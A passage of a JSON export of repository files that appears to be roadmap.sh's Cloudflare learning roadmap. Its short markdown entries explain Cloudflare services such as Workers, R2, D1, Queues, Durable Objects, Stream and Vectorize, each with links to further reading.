    "content": "# Large File Handling\n\nHandling large files on Cloudflare requires strategies to avoid exceeding size limits and ensure efficient delivery. Techniques include:\n\n- **Streaming:** Processing files in chunks to reduce memory usage.\n- **Range Requests:** Serving only the requested portion of a file.\n- **Cloudflare Stream:** Using Cloudflare's video streaming service for large video files.\n- **R2 integration:** Storing large files in R2 and serving them via Workers.\n\nThese methods allow you to handle large files effectively while leveraging Cloudflare's global network.\n\nVisit the following resources to learn more:\n\n- [@official@Resumable and Large Files · Cloudflare Stream](https://developers.cloudflare.com/stream/uploading-videos/resumable-uploads/)\n- [@official@Cloudflare R2 Limits](https://developers.cloudflare.com/r2/platform/limits/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/live-streaming@RiQSPAV9uRFgwQFJckTFV.md",
    "content": "# Live streaming\n\nCloudflare Stream supports live streaming. You can use tools like OBS Studio or Wirecast to stream video to Cloudflare, and Stream will handle the encoding, distribution, and playback. This allows you to easily broadcast live events to a global audience.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Stream](https://www.cloudflare.com/developer-platform/products/cloudflare-stream/)\n- [@official@Serverless Live Streaming with Cloudflare Stream](https://blog.cloudflare.com/stream-live/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/logging-and-monitoring@aKEH4ZxI6J1nwjp_AgH5r.md",
    "content": "# Logging and Monitoring\n\nEffective logging and monitoring are crucial for understanding and debugging Cloudflare Workers. You can use `console.log` for basic logging during development. For production, consider using a dedicated logging service to collect and analyze logs from your Workers. Cloudflare provides metrics like request counts, CPU usage, and error rates that can be monitored in the Cloudflare dashboard. Setting up alerts based on these metrics helps you identify and address issues quickly.\n\nVisit the following resources to learn more:\n\n- [@article@Logging vs Monitoring: What's the Difference?](https://toxigon.com/logging-vs-monitoring-whats-the-difference)\n- [@official@Debugging and Logging · Cloudflare Pages](https://developers.cloudflare.com/pages/functions/debugging-and-logging/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/message-processing@EFA8m0EdhygxcBWzwmbnT.md",
    "content": "# Message Processing\n\nWith Cloudflare Queues, message processing involves sending messages to a queue from a producer (usually a Worker) and then consuming those messages from the queue by a consumer (another Worker or service). The consumer processes each message, performing tasks like data transformation, calling APIs, or updating databases. Queues guarantees at-least-once delivery, meaning a message will be delivered to a consumer at least once, even if there are failures. Consumers can acknowledge successful processing to remove messages from the queue.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Queues · Cloudflare Queues](https://developers.cloudflare.com/queues/)\n- [@official@How Does Queues Work?](https://developers.cloudflare.com/queues/reference/how-queues-works/)\n- [@article@Difference Between Stream Processing and Message Processing](https://stackoverflow.com/questions/41744506/difference-between-stream-processing-and-message-processing)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/metadata-handling@sQlRIYLnZcugATgpogJmw.md",
    "content": "# Metadata Handling\n\nCloudflare Workers allow you to access metadata about the request, including the request method, URL, headers, and more. You can use this metadata to customize your application's behavior or to implement features like caching, authentication, or rate limiting. Metadata is available in both the `fetch` event and the `scheduled` event. It's a powerful tool for building dynamic and adaptive applications.\n\nVisit the following resources to learn more:\n\n- [@official@Request and Response](https://developers.cloudflare.com/workers/runtime-apis/request)\n- [@official@Scheduled Event Handler](https://developers.cloudflare.com/workers/runtime-apis/scheduled-event)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/middleware-patterns@aStbAF4zraqhJ-N3RH4ha.md",
    "content": "# Middleware Patterns\n\nMiddleware patterns in Cloudflare Workers allow you to chain functions to process requests or responses in a modular way. Each middleware function performs a specific task (e.g., authentication, logging, header modification) before passing the request/response to the next function in the chain. This promotes code reusability, separation of concerns, and easier maintenance. By composing middleware, you can build complex request processing pipelines.\n\nVisit the following resources to learn more:\n\n- [@official@Middleware · Cloudflare Pages](https://developers.cloudflare.com/pages/functions/middleware/)\n- [@article@A Middleware Architecture for Cloudflare Workers](https://boxesplusarrows.com/blog/a-middleware-architecture-for-cloudflare-workers/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/migrations@M8rSSVFUHixgWZRfaBPHb.md",
    "content": "# Migrations\n\nAs your application evolves, your database schema will likely need to change. Database migrations provide a structured way to apply these changes in a controlled and repeatable manner. In D1, you'll typically write SQL scripts that contain the necessary `ALTER TABLE` statements to modify your schema (e.g., adding new columns, renaming columns, changing data types). You can then use `wrangler` or a similar tool to execute these migration scripts against your D1 database. It's important to version your migration scripts and apply them in the correct order to avoid data inconsistencies or errors. Consider using a migration management tool to track and apply migrations more effectively.\n\nVisit the following resources to learn more:\n\n- [@article@Database Migrations: What are the Types of DB Migrations?](https://www.prisma.io/dataguide/types/relational/what-are-database-migrations)\n- [@article@Database Migrations in the Real World](https://blog.jetbrains.com/idea/2025/02/database-migrations-in-the-real-world/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/miniflare@o4sBgniPmLqwej6TlIPcl.md",
    "content": "# Miniflare\n\nMiniflare is a local simulator for Cloudflare Workers. It mimics the Cloudflare Workers runtime environment on your local machine, allowing you to test your Workers without deploying them to Cloudflare. Miniflare supports features like KV storage, Durable Objects, and Service Bindings, making it a valuable tool for local development and debugging. It speeds up development cycles by providing a fast and reliable local testing environment.\n\nVisit the following resources to learn more:\n\n- [@official@Miniflare - Cloudflare Workers](https://developers.cloudflare.com/workers/testing/miniflare/)\n- [@opensource@cloudflare/miniflare](https://github.com/cloudflare/miniflare)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/miniflare@vZHBp4S6WaS5sa5rfUOk-.md",
    "content": "# Miniflare\n\nMiniflare is a simulator for Cloudflare Workers that allows you to test your Workers locally. It mimics the Cloudflare Workers runtime environment, including features like KV storage, Durable Objects, and the Cache API. Miniflare enables rapid iteration and debugging without deploying to Cloudflare's edge network. It's a valuable tool for developing and testing Workers offline or in a controlled environment.\n\nVisit the following resources to learn more:\n\n- [@official@Miniflare - Cloudflare Workers](https://developers.cloudflare.com/workers/testing/miniflare/)\n- [@opensource@cloudflare/miniflare](https://github.com/cloudflare/miniflare)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/monitoring-tools@Cy2T8978yUAPGol-yzxv_.md",
    "content": "# Monitoring Tools\n\nMonitoring tools provide insights into the performance and health of your Cloudflare applications. Cloudflare offers built-in analytics, but you can also integrate with external monitoring services like Datadog, New Relic, or Prometheus. These tools allow you to track metrics such as:\n\n- Request latency\n- Error rates\n- Cache hit ratio\n- Resource usage\n\nBy monitoring these metrics, you can identify performance bottlenecks, detect security threats, and ensure your applications are running smoothly.\n\nVisit the following resources to learn more:\n\n- [@official@Application Performance Monitoring Tools](https://www.cloudflare.com/application-services/solutions/app-performance-monitoring/)\n- [@official@Network Monitoring Tools](https://www.cloudflare.com/network-services/solutions/network-monitoring-tools/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/nodejs-and-npm@dSBYTGGkol3MAXyg7G7_J.md",
    "content": "# Node.js and NPM\n\nNode.js is an open source, cross-platform runtime environment and library that is used for running web applications outside the client’s browser. It is used for server-side programming, and primarily deployed for non-blocking, event-driven servers, such as traditional web sites and back-end API services, but was originally designed with real-time, push-based architectures in mind. Every browser has its own version of a JS engine, and node.js is built on Google Chrome’s V8 JavaScript engine.\n\nnpm (Node Package Manager) is the standard package manager for Node.js. It is two things: first and foremost, it is an online repository for the publishing of open-source Node.js projects; second, it is a command-line utility for interacting with said repository that aids in package installation, version management, and dependency management.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Node.js Roadmap](https://roadmap.sh/nodejs)\n- [@official@Node.js Documentation](https://nodejs.org/en/)\n- [@official@NPM](https://www.docs.npmjs.com/)\n- [@official@An Introduction to NPM](https://nodejs.org/en/learn/getting-started/an-introduction-to-the-npm-package-manager)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/object-storage@K9iW2H6riKwddWmpWJFJw.md",
    "content": "# Object Storage\n\nCloudflare R2 is object storage that offers fast, reliable, and affordable storage without egress fees. It's designed to work seamlessly with Cloudflare Workers, allowing you to store and retrieve data close to your users. R2 is ideal for storing static assets, user-generated content, and other data that needs to be accessed quickly and frequently. Its lack of egress fees makes it a cost-effective alternative to traditional cloud storage providers.\n\nVisit the following resources to learn more:\n\n- [@official@What is Object Storage?](https://www.cloudflare.com/learning/cloud/what-is-object-storage/)\n- [@official@Cloudflare R2 | Zero Egress Fee Object Storage](https://www.cloudflare.com/developer-platform/products/r2/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/pages-functions@SaHqm7T4FFVrsgyfImo66.md",
    "content": "# Pages Functions\n\nPages Functions, (now part of Cloudflare Functions), allow you to run serverless code directly within your Cloudflare Pages projects. This lets you add dynamic functionality, like form handling or API endpoints, to your otherwise static sites. They're deployed alongside your static assets and execute on Cloudflare's edge network, ensuring low latency and high performance.\n\nVisit the following resources to learn more:\n\n- [@official@Functions · Cloudflare Pages](https://developers.cloudflare.com/pages/functions/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/persistence@36w4Q73XkCwo5Cva0XsF8.md",
    "content": "# Persistence\n\nDurable Objects offer built-in persistence. Data stored within a Durable Object is automatically persisted to Cloudflare's storage infrastructure. You don't need to explicitly save or load data; the Durable Object handles persistence automatically. This simplifies development and ensures that your application's state is durable and reliable, even in the face of server failures.\n\nVisit the following resources to learn more:\n\n- [@official@Access Durable Objects Storage - Cloudflare Docs](https://developers.cloudflare.com/durable-objects/best-practices/access-durable-objects-storage/)\n- [@official@In-memory State in a Durable Object](https://developers.cloudflare.com/durable-objects/reference/in-memory-state/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/prisma@h3MHLZZwkYqqb5PSfMhpB.md",
    "content": "# Prisma\n\nPrisma is a popular open-source ORM that provides a type-safe database client and migration tools. While not directly compatible with Cloudflare D1 due to its reliance on specific database adapters, Prisma can be used in conjunction with a D1 adapter or a custom data access layer within your Cloudflare Workers. This approach allows you to leverage Prisma's type safety, query builder, and migration features while still using D1 as your database.\n\nVisit the following resources to learn more:\n\n- [@official@Prisma](https://www.prisma.io/)\n- [@official@Prisma Documentation](https://www.prisma.io/docs)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/processing@6bNUqx5f_w5NuDL25BABN.md",
    "content": "# Processing\n\nWith Cloudflare Email Workers, processing involves manipulating or analyzing incoming email content. After an email is routed to your worker, you can access and modify various aspects of the email, such as headers, body, and attachments. Processing can include tasks like:\n\n- **Content Modification:** Altering the email body, adding disclaimers, or translating content.\n- **Data Extraction:** Parsing information from the email to use in other applications.\n- **Spam Filtering:** Implementing custom spam detection logic.\n- **Attachment Handling:** Processing or storing attachments.\n\nEmail Workers provide the flexibility to customize how emails are handled, enabling a wide range of email-based applications and integrations.\n\nVisit the following resources to learn more:\n\n- [@official@Email Workers · Cloudflare Email Routing](https://developers.cloudflare.com/email-routing/email-workers/)\n- [@official@Email Workers Routing - Runtime API](https://developers.cloudflare.com/email-routing/email-workers/runtime-api/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/query-optimization@65xDESm6jbHWkVO4NgHqx.md",
    "content": "# Query Optimization\n\nOptimizing your SQL queries is crucial for achieving good performance with Cloudflare D1, especially as your database grows. D1 leverages SQLite's query optimizer, which automatically attempts to find the most efficient way to execute your queries. However, you can significantly improve performance by following best practices:\n\n- **Use Indexes:** Indexes are essential for speeding up queries that filter or sort data. Create indexes on columns that are frequently used in `WHERE` clauses, `JOIN` conditions, and `ORDER BY` clauses.\n- **Avoid Full Table Scans:** Full table scans can be slow, especially on large tables. Ensure your queries are using indexes to narrow down the number of rows that need to be examined.\n- **Write Efficient SQL:** Use appropriate `JOIN` types, avoid using `SELECT *` (specify the columns you need), and use `WHERE` clauses to filter data as early as possible.\n- **Analyze Query Performance:** Use SQLite's `EXPLAIN QUERY PLAN` command to analyze how your queries are being executed. This can help you identify potential bottlenecks and areas for improvement.\n- **Consider Denormalization:** In some cases, denormalizing your database schema (adding redundant data to avoid joins) can improve query performance, but it comes at the cost of increased storage space and potential data inconsistencies. Weigh the trade-offs carefully.\n\nVisit the following resources to learn more:\n\n- [@official@Query Parameters and Cached Responses](https://developers.cloudflare.com/automatic-platform-optimization/reference/query-parameters/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/queues@zyRgTtlng6idboSgL9YTt.md",
    "content": "# Queues\n\nCloudflare Queues is a message queuing service that allows you to decouple different parts of your application. It enables you to reliably send and receive messages between Workers or other services. This asynchronous communication is useful for tasks like background processing, handling spikes in traffic, and building resilient applications. Queues ensures messages are delivered, even if the receiving service is temporarily unavailable.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Queues · Cloudflare Queues](https://developers.cloudflare.com/queues/)\n- [@official@How Does Queues Work?](https://developers.cloudflare.com/queues/reference/how-queues-works/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/r2-storage@gxLUlXGuaY5Q-0xmBgQwz.md",
    "content": "# R2 Storage\n\nCloudflare R2 Storage is a distributed object storage service that offers fast, reliable, and affordable storage without egress fees. It's designed to compete with services like Amazon S3 and Google Cloud Storage. R2 allows you to store large amounts of unstructured data (images, videos, documents) and access it quickly from anywhere in the world via Cloudflare's global network. Its key advantage is the absence of egress bandwidth charges, making it cost-effective for applications with high data retrieval needs.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare R2 | Zero Egress Fee Object Storage](https://www.cloudflare.com/developer-platform/products/r2/)\n- [@official@Cloudflare R2 Documentation](https://developers.cloudflare.com/r2/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/rate-limiting@JP5U6c2fZjtkU-Xzwtapx.md",
    "content": "# Rate Limiting\n\nCloudflare Queues can be used to implement rate limiting. Instead of directly processing every request, you can enqueue them. A consumer Worker then processes messages from the queue at a controlled rate. This prevents your backend systems from being overwhelmed by sudden spikes in traffic. You can adjust the consumer's processing rate to match the capacity of your backend services.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Queues - Queues & Rate Limits](https://developers.cloudflare.com/queues/tutorials/handle-rate-limits/)\n- [@official@Rate Limiting Best Practices - Cloudflare Docs](https://developers.cloudflare.com/waf/rate-limiting-rules/best-practices/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/rate-limiting@MInAsLLJtIq6WQDSj5yGH.md",
    "content": "# Rate Limiting\n\nCloudflare Queues can be used to implement rate limiting. Instead of directly processing every request, you can enqueue them. A consumer Worker then processes messages from the queue at a controlled rate. This prevents your backend systems from being overwhelmed by sudden spikes in traffic. You can adjust the consumer's processing rate to match the capacity of your backend services.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Queues - Queues & Rate Limits](https://developers.cloudflare.com/queues/tutorials/handle-rate-limits/)\n- [@official@Rate Limiting Best Practices - Cloudflare Docs](https://developers.cloudflare.com/waf/rate-limiting-rules/best-practices/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/requestresponse-handling@HNEXPU6r_T7UYvwLv2wnt.md",
    "content": "# Request/Response Handling\n\nCloudflare Workers excel at intercepting and modifying HTTP requests and responses. When a request hits Cloudflare, a Worker can inspect the request details (headers, URL, method) and take actions: rewrite the URL, modify headers, or even serve a completely different response. Similarly, Workers can intercept responses from the origin server, modifying the content, adding headers for caching, or even serving a cached version directly. This level of control allows for powerful customization and optimization of web traffic.\n\nVisit the following resources to learn more:\n\n- [@official@Request and Response](https://developers.cloudflare.com/workers/runtime-apis/request)\n- [@article@Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/routing@-lsYPD6JueIV94RybGH_Y.md",
    "content": "# Routing\n\nIn Cloudflare Email Workers, routing refers to directing incoming emails to the appropriate destination or processing logic. Email Workers intercept emails and use defined rules to determine their fate. You can route emails based on sender, recipient, subject, or other criteria. This allows you to forward emails, trigger custom logic, or even discard unwanted messages. Effective routing is critical for managing email flow, implementing custom email workflows, and building applications that react to incoming email.\n\nVisit the following resources to learn more:\n\n- [@official@Email Workers · Cloudflare Email Routing](https://developers.cloudflare.com/email-routing/email-workers/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/schema-management@PnhP47woPJb_JnLpMMiTw.md",
    "content": "# Schema Management\n\nManaging the structure of your database in Cloudflare D1 involves defining tables, columns, data types, primary keys, foreign keys, and indexes using standard SQL Data Definition Language (DDL) statements. Since D1 is based on SQLite, you'll use SQLite-compatible syntax. Tools like `wrangler` provide commands to execute SQL scripts, allowing you to create and modify your database schema. You'll typically start by designing your schema based on your application's data requirements and then translate that design into SQL DDL statements. Careful consideration should be given to data types to ensure data integrity and efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Schema Validation · Cloudflare API Shield](https://developers.cloudflare.com/api-shield/security/schema-validation/)\n- [@official@Configure Schema Validation · Cloudflare API Shield](https://developers.cloudflare.com/api-shield/security/schema-validation/configure/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/security--performance@76xovsBrKOnlRBVjsqNq1.md",
    "content": "# Security & Performance\n\nCloudflare significantly enhances both security and performance through its global network. It provides robust protection against DDoS attacks, bot traffic, and other web threats, while also accelerating website loading times via its CDN and caching mechanisms. By terminating SSL/TLS connections at the edge and optimizing content delivery, Cloudflare ensures a secure and fast experience for users, reducing latency and improving overall website resilience.\n\n**Security:** Cloudflare Email Workers can enhance email security by:\n\n- **Spam and Phishing Detection:** Implementing custom filters to identify and block malicious emails before they reach the recipient.\n- **Content Sanitization:** Removing potentially harmful content from emails, such as malicious scripts or links.\n- **Authentication:** Verifying sender authenticity to prevent spoofing and phishing attacks.\n- **Data Loss Prevention (DLP):** Preventing sensitive information from being sent via email.\n\n**Performance:** Email Workers impact performance by:\n\n- **Reduced Latency:** Processing emails closer to the user, minimizing delays.\n- **Scalability:** Handling large volumes of email traffic without performance degradation.\n- **Custom Routing:** Efficiently directing emails to the appropriate destination.\n- **Optimized Processing:** Performing lightweight email processing tasks to avoid bottlenecks.\n\nEffectively leveraging Email Workers for security and performance requires careful planning and implementation of relevant filters, rules, and processing logic.\n\nVisit the following resources to learn more:\n\n- [@official@Application Security & Performance Solutions - Cloudflare](https://www.cloudflare.com/application-services/solutions/)\n- [@official@Cloudflare Security Architecture](https://developers.cloudflare.com/reference-architecture/architectures/security/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/service-bindings@JfpVexcbuWCx_R3EjFmbo.md",
    "content": "# Service Bindings\n\nService Bindings allow Cloudflare Workers to seamlessly integrate with other Cloudflare services. They provide a secure and efficient way for a Worker to access resources like KV storage, Durable Objects, R2 storage, and other Workers. Instead of using API keys or direct network calls, Service Bindings create a direct connection between your Worker and the bound service, simplifying configuration and improving performance. They're essential for building complex applications that leverage the full power of the Cloudflare ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Service Bindings · Cloudflare](https://developers.cloudflare.com/workers/platform/service-bindings/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/service-bindings@WZSi9inWPhqZQvDN-C8BV.md",
    "content": "# Service Bindings\n\nService Bindings allow Cloudflare Workers to seamlessly integrate with other Cloudflare services. They provide a secure and efficient way for a Worker to access resources like KV storage, Durable Objects, R2 storage, and other Workers. Instead of using API keys or direct network calls, Service Bindings create a direct connection between your Worker and the bound service, simplifying configuration and improving performance. They're essential for building complex applications that leverage the full power of the Cloudflare ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@Service Bindings - Runtime APIs](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/)\n- [@official@Service Bindings · Cloudflare](https://developers.cloudflare.com/workers/platform/service-bindings/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/similarity-search@pg3GtykCegK411DYDN8sN.md",
    "content": "# Similarity Search\n\nCloudflare offers Vectorize, a vector database, which enables similarity search. You can embed data (text, images, audio) as vectors and then use Vectorize to find the most similar vectors based on a query vector. This is used for recommendation systems, content discovery, and other applications where finding similar items is important.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Vectorize - Cloudflare](https://developers.cloudflare.com/vectorize/)\n- [@opensource@seemueller-io/hyphalbase](https://github.com/seemueller-io/hyphalbase)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/speech-rcognition@HJbJ8OxjJzznYwLlIOSO2.md",
    "content": "# Speech Recognition\n\nYou can use Workers AI to run speech-to-text models directly on Cloudflare's edge network, enabling real-time transcription of audio data. This can be useful for applications like voice search, voice commands, and live captioning.\n\nVisit the following resources to learn more:\n\n- [@official@Whisper - Cloudflare Workers AI](https://developers.cloudflare.com/workers-ai/models/whisper/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/state-management@EQjhRlM7zpANNWkypScIl.md",
    "content": "# State Management\n\nDurable Objects excel at state management. Each Durable Object instance has its own persistent storage and can maintain state across multiple requests. You can store data within a Durable Object and access it consistently, regardless of which Cloudflare edge server handles the request. This eliminates the need for external databases or caching layers for managing application state.\n\nVisit the following resources to learn more:\n\n- [@official@What are Durable Objects? - Cloudflare Documentation](https://developers.cloudflare.com/durable-objects/what-are-durable-objects/)\n- [@official@Durable Object State · Cloudflare Durable Objects](https://developers.cloudflare.com/durable-objects/api/state/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/stream@LoT3NtpNj9uAgQRV-MD_E.md",
    "content": "# Stream\n\nCloudflare Stream is a video streaming platform that makes it easy to upload, encode, and deliver videos globally. It handles all the complexities of video streaming, including encoding for different devices and network conditions, providing a reliable and high-quality viewing experience. Stream integrates seamlessly with Cloudflare's CDN, ensuring fast and efficient video delivery to users around the world.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Stream - Cloudflare Documentation](https://www.cloudflare.com/developer-platform/products/cloudflare-stream/)\n- [@official@Cloudflare Stream - Cloudflare Blog](https://blog.cloudflare.com/tag/cloudflare-stream/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/testing-frameworks@jyWxaMx7_nojt5HsyAv7K.md",
    "content": "# Testing Frameworks\n\nTesting frameworks are crucial for ensuring Cloudflare Workers function correctly. Popular options include Jest, Mocha, and Chai. These frameworks allow you to write unit tests, integration tests, and end-to-end tests for your Workers. You can simulate Cloudflare's environment and test how your Worker responds to different requests and events. Thorough testing helps identify and fix bugs early in the development process, ensuring the reliability of your Workers.\n\nVisit the following resources to learn more:\n\n- [@official@Testing - Cloudflare Workers Docs](https://developers.cloudflare.com/workers/testing/)\n- [@article@Jest - Delightful JavaScript Testing](https://jestjs.io/)\n- [@article@Vitest - A Fast JavaScript Test Runner](https://vitest.dev/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/text-generation@zMwmoCUp9429_aXU-Bz4H.md",
    "content": "# Text Generation\n\nWorkers AI allows you to perform text generation tasks directly on Cloudflare's edge network. You can use pre-trained models or fine-tune your own models to generate text for various purposes, such as content creation, chatbot responses, or language translation. Running text generation at the edge reduces latency and improves the responsiveness of your AI-powered applications.\n\nVisit the following resources to learn more:\n\n- [@official@Choose the Right Text Generation Model](https://developers.cloudflare.com/workers-ai/tutorials/how-to-choose-the-right-text-generation-model/)\n- [@official@Prompting · Cloudflare Workers AI](https://developers.cloudflare.com/workers-ai/guides/prompting/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/transactional-operations@rxxibrJUo1rQ3XCuUIP59.md",
    "content": "# Transactional Operations\n\nDurable Objects support transactional operations. You can perform multiple operations within a single transaction, ensuring that either all operations succeed or none of them do. This helps maintain data consistency and prevents partial updates. If an error occurs during a transaction, the Durable Object automatically rolls back all changes, leaving the data in a consistent state.\n\nVisit the following resources to learn more:\n\n- [@official@Durable Object Storage · Cloudflare Durable Objects](https://developers.cloudflare.com/durable-objects/api/storage-api/)\n- [@official@Transactional Storage · Cloudflare Durable Objects](https://developers.cloudflare.com:2096/durable-objects/api/transactional-storage-api/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/tunnels@8WZpSKBHCeYfTEL9tBNKr.md",
    "content": "# Tunnels\n\nCloudflare Tunnel creates a secure, outbound-only connection between your origin server and Cloudflare's network, without opening any inbound ports. This protects your origin from direct attacks and simplifies network configuration. You can use Cloudflare Tunnel to securely expose web applications, APIs, and other services to the internet, without compromising security.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Tunnel · Cloudflare Zero Trust](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)\n- [@official@Ridiculously easy to use Tunnels - The Cloudflare Blog](https://blog.cloudflare.com/ridiculously-easy-to-use-tunnels/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/typescript-fundamentals@zR84MFLL6y0dygz9hXXPA.md",
    "content": "# TypeScript Fundamentals\n\nTypeScript is a superset of JavaScript that adds static typing. It enhances code maintainability and reduces errors by catching type-related issues during development. For Cloudflare Workers, TypeScript can improve the development experience. You define types for variables, function parameters, and return values, making code more predictable. TypeScript code compiles to JavaScript before deployment to Cloudflare Workers. Using TypeScript allows for better tooling, autocompletion, and refactoring, leading to more robust and scalable serverless applications.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated TypeScript Roadmap](https://roadmap.sh/typescript)\n- [@official@TypeScript Documentation](https://www.typescriptlang.org/docs/)\n- [@official@TypeScript Handbook](https://www.typescriptlang.org/docs/handbook/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/understand-serverless-architecture@Isl5anwDvb1MacA-JH4ej.md",
    "content": "# Understand Serverless Architecture\n\nServerless architecture allows you to run code without managing servers, and Cloudflare Workers is a key implementation of this. With Cloudflare Workers, you deploy JavaScript/TypeScript functions to Cloudflare's edge network, where they execute in response to HTTP requests. Serverless means you don't provision or maintain servers; Cloudflare handles scaling and infrastructure. This model enables faster deployments, pay-per-use pricing, and reduced operational overhead. You focus on code, while Cloudflare handles the underlying infrastructure, making it ideal for building performant and scalable applications.\n\nVisit the following resources to learn more:\n\n- [@article@What is Serverless Architecture?](https://cloud.google.com/discover/what-is-serverless-architecture)\n- [@article@What is Serverless Computing? - Serverless Computing Explain@](https://aws.amazon.com/what-is/serverless-computing/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/vector-embeddings@UIWaR1ZdjSm0UAS69Kz_5.md",
    "content": "# Vector Embeddings\n\nCloudflare Vectorize allows you to store and query high-dimensional vectors, often used in machine learning for tasks like similarity search and recommendation engines. By using Vectorize with Workers AI, you can build applications that perform real-time AI-powered searches and recommendations directly on Cloudflare's edge network.\n\nVisit the following resources to learn more:\n\n- [@official@Vector Database - Cloudflare Docs](https://developers.cloudflare.com/vectorize/reference/what-is-a-vector-database/)\n- [@official@Cloudflare Vectorize](https://developers.cloudflare.com/vectorize/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/vectorize@NWGVtH1vxQuO4lly0Omuy.md",
    "content": "# Vectorize\n\nCloudflare Vectorize is a vector database that lets you store and query high-dimensional vectors, often used in machine learning for tasks like similarity search and recommendation engines. By using Vectorize with Workers AI, you can build applications that perform real-time AI-powered searches and recommendations directly on Cloudflare's edge network.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Vectorize - Cloudflare Docs](https://developers.cloudflare.com/vectorize/get-started/intro/)\n- [@official@Cloudflare Vectorize](https://developers.cloudflare.com/vectorize/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/video-delivery@zQp7XfDKWJgMf2LexRJhN.md",
    "content": "# Video Delivery\n\nCloudflare Stream provides a comprehensive solution for video delivery:\n\n- **Encoding:** Automatically encodes videos for different devices and bandwidths.\n- **Storage:** Stores your videos securely.\n- **CDN:** Delivers videos globally via Cloudflare's CDN for fast playback.\n- **Player:** Provides a customizable video player.\n\nThis simplifies the process of delivering high-quality video experiences.\n\nVisit the following resources to learn more:\n\n- [@official@Delivering Videos with Cloudflare](https://developers.cloudflare.com/support/more-dashboard-apps/cloudflare-stream/delivering-videos-with-cloudflare/)\n- [@official@Stream Delivery - Cloudflare Stream](https://www.cloudflare.com/application-services/solutions/stream-delivery/)\n- [@official@Cloudflare Stream - Cloudflare](https://www.cloudflare.com/developer-platform/products/cloudflare-stream/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/video-processing@3B6Z7F0D3Sf8ZBlV3kkGx.md",
    "content": "# Video Processing\n\nCloudflare offers video processing capabilities through Stream and Workers:\n\n- **Stream:** Handles encoding, transcoding, and adaptive bitrate streaming automatically.\n- **Workers:** You can use Workers to intercept video requests and perform custom processing, such as adding watermarks or modifying metadata.\n\nThis allows you to customize your video delivery pipeline.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Stream - Cloudflare](https://www.cloudflare.com/developer-platform/products/cloudflare-stream/)\n- [@official@VOD Platform | Video-on-demand Streaming Software](https://www.cloudflare.com/developer-platform/solutions/video-on-demand/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/web-security-headers@KWix4jeNUKJ07Iu95Mqj_.md",
    "content": "# Web Security Headers\n\nWeb security headers are HTTP response headers that enhance website security. Cloudflare allows you to easily configure these headers to protect against common attacks. Key headers include:\n\n- **Content Security Policy (CSP):** Controls resources the browser can load.\n- **Strict-Transport-Security (HSTS):** Enforces HTTPS connections.\n- **X-Frame-Options:** Prevents clickjacking attacks.\n- **X-XSS-Protection:** Enables XSS filtering in browsers.\n- **Referrer-Policy:** Controls referrer information sent with requests.\n\nCloudflare simplifies setting these headers, improving website security with minimal effort.\n\nVisit the following resources to learn more:\n\n- [@official@Configure HTTP Headers - Cloudflare](https://developers.cloudflare.com/fundamentals/reference/http-headers/)\n- [@article@Quick Reference to Security Headers](https://web.dev/articles/security-headers)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/webhook-handling@uOUjI6CPrhZIlz6mRCtOW.md",
